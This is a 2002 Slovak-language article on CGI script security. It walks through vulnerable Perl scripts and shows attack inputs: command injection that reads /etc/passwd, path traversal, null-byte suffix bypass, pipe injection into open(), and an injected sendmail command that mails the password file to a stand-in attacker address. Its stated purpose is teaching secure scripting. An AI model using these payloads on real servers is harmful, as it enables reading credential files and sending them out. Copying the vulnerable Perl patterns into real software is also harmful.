CGI SECURITY

09.03.2002 17:10

cgi je skratka pre common gateway interface. cgi skripty dovoluju strankam komunikovat s programmi umiestnenymi na serveri. cize ide o programovanie na strane servra. pre kazdy spusteny cgi skript sa spusti i novy proces. obycajne sa posielaju nejake data servru, ktory ich spracuje a odosle naspat vo forme html, obrazku ...
najcastejsie sa cgi skripty pisu v perli, ale v podstate kazdy programovaci jazyk ktory vie citat z STDIN (standard input) sa moze pouzit na pisanie cgi skriptov.

CO ROBI CGI SKRIPTY NEBEZPECNYMI?
pravdepodobne najvacsim nebezpecenstvom je prave user input. tak napriklad mame skript v ktorom user input su parametre programu \"echo\". ak zoberieme do uvahy prava, ktore ma program echo defaultne nastavene mohlo by mat jeho zneuzitie katastrofalne nasledky. normalne pouzite skriptu by malo vyzerat asi takto:

echo \"some shitty text\" >> testfile

ale pri zmene parametrov mozme spustit nasledujuci prikaz:

echo \"some shitty text\" ; cat /etc/passwd

preto je dolezite nikdy neverit pouzivatelom. uvedeny priklad je velmi trivialny a len velmi zle naprogramovany skript by dovolil nieco podobne. aj napriek tomu sa vyskytuje vela skriptov ktore nekontroluju user input na potencialne nebezpecie.

#!/usr/bin/perl
# this will let you view any file on the system
$some_variable = $ENV{QUERY_STRING};

open(FILE, $some_variable);
while(<FILE>) {
push(@somefile,$_);
}
close(FILE);
print <<EOF;
Content-Type: text/html
@somefile
EOF

ak ma tento skript nastavene chmod 755 a je umiestneny v cgi-bin adresari tak sa da zneuzit nasledujucim sposobom

http://xxxxx/cgi-bin/cgi-script.pl?/etc/passwd

problem ako odstranit nebezpecne znaky sa da vyriesit aj takto:

$some_variable =~ s/\\///g;

ak ti to nie je jasne tu je vysvetlenie:
substitude operator --> s/
text ktory sa ma zamenit -->\\/ #cize lomitko
pomlcka na oddelenie poli-->/
text ktorym sa ma menit--> #v tomto pripade je prazdny
end operator --> /g;

TECHNIQUEZ
mame napriklad skript ktory nacita data z urciteho suboru a tie potom posiela na vystup:

/var/lib/apache/htdocs/database/$filename

niektory programatori si myslia ze sa bude dat citat len z toho adresara a len ten subor, ktory oni urcili. avsak jednoduchy a casto pouzivany trik nam dovoli prezerat si /etc/passwd:

\"../../../../../etc/passwd\"

dalsie nebezpecenstvo predstavuju systemove volania. v nasledujucom priklade je skript ktory odosiela maily pomocou programu sendmail na pouzivatelom urcenu adresu:

$mail_to = $ui; #$ui == user input
open (MAIL, \"|/usr/bin/sendmail $mail_to\");
print MAIL \"To: $mail_to\\nFrom: bill@whitehouse.gov\\n\\nbl0w me\\n\";
close (MAIL);

zadanie mailu monica@whitehouse.gov by odoslalo mail na urcenu adresu. mozme vsak zadat
\"monica@whitehouse.gov; mail evil@hacker.sk</etc/passwd;\"

nasledujuci problem s open() bol popisany aj v niektorom z phrackov, takze read it for more information:

open (FILE, \"$ui\");
## do whatever ##
close (FILE);

naprvy pohlad to vyzera ako chyba, ktora by nam mohla umoznit citat any filez, ale zdani klame. ak by bol user input „cat /etc/passwd|\", tak nam skript jednoducho nami zadany prikaz spusti (toto nebude fungovat ake je perl spusteny s -e flagom).

nasledujuca \"feature\" sa da vyuzit v skriptoch ktore nacitaju z databazy, html subory ...

open (FILE, \"$ui.html\");
## print the file to an html document ##
close (FILE);

zda sa, ze sa daju otvorit iba html subory, aj toto sa vsak da obist, napr. vlozenim blah%00, nam skript otvori subor blah a nie blah.html. a ak to zkombinujeme ../../../../../etc/passwd%00 tadaaa.

ponaucenia?:)
-venovat pozornost bezpecnosti skriptov
-je chyba mysliet si ze ak server bezi pod nobody, tak je nenapadnutelny
-nikdy nedoverovat pouzivatelom

-there is more than one way to do it

soulfly@host.skSOULFLY